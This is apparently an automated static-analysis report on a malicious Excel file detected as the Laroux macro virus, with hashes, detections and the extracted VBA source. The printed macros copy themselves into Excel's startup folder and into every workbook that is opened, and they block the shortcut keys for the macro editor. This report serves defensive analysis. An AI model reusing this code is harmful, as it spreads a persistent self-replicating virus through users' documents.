Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e51bc3c75e654fd2…

MALICIOUS

Office (OLE)

122.5 KB Created: 2012-01-14 07:33:29 Authoring application: Microsoft Excel First seen: 2015-09-18
MD5: 1859bd5198d592d3fe489ce57f5c3f20 SHA-1: cbf1249fc73b7b43f20d5c61ab7cc6da4600ed42 SHA-256: e51bc3c75e654fd28719aac9a07cc3b0540645d96439331280fc9981d788664d
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is an Excel document containing VBA macros. The auto_open macro attempts to copy the workbook to the Excel startup directory as 'StartUp.xls', thereby establishing persistence. It also configures event handlers to maintain its presence. The document body contains what appears to be production planning data, likely a lure.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1234 bytes
SHA-256: 72b2341402d2f2982f7677592451814f444de0f70190cedb023e667ebc23ae6a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True